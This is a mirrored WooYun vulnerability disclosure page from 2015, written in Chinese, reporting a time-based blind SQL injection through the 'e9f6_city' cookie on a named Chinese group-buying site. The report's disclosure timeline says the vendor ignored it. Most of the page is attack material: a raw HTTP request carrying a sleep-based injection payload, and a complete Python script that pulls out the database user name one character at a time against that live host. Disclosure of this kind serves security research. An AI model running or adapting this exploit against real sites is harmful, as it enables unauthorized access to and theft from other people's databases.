乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-23: 细节已通知厂商并且等待厂商处理中 2015-11-28: 厂商已经主动忽略漏洞,细节向公众公开
GET /vote/add.php HTTP/1.1Cookie: PHPSESSID=885fbeca918fe2aa7562cf4e842f9e69; e9f6_city='XOR(if(now()=sysdate(),sleep(if(length(user())=22,3,0)),0))OR'; referer=http%3A%2F%2Ftuan.wehefei.com%2FX-Requested-With: XMLHttpRequestReferer: http://tuan.wehefei.comHost: tuan.wehefei.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*
Cookie中的e9f6_city参数存在注入user的长度为22:
#encoding=utf-8import httplibimport timeimport stringimport sysimport randomimport urllibheaders = { 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',}payloads = list(string.ascii_lowercase)for i in range(0,10): payloads.append(str(i))payloads += ['@','_', '.', '-', '\\', ' ']print 'Try to retrive user:'user = ''for i in range(1,24): for payload in payloads: try: conn = httplib.HTTPConnection('tuan.wehefei.com', timeout=3) headers['Cookie']="PHPSESSID=885fbeca918fe2aa7562cf4e842f9e69; e9f6_city='XOR(if(now()=sysdate(),sleep(if(ascii(mid(user(),%s,1))=%s,3,0)),0))OR';" % (i, ord(payload)) conn.request(method='GET', url= '/vote/add.php' , headers = headers) html_doc = conn.getresponse().read() conn.close() print '.', except Exception, e: user += payload print '\nIn progress]', user break print '\n[Done] User is:', user
危害等级:无影响厂商忽略
忽略时间:2015-11-28 10:24
漏洞Rank:4 (WooYun评价)
暂无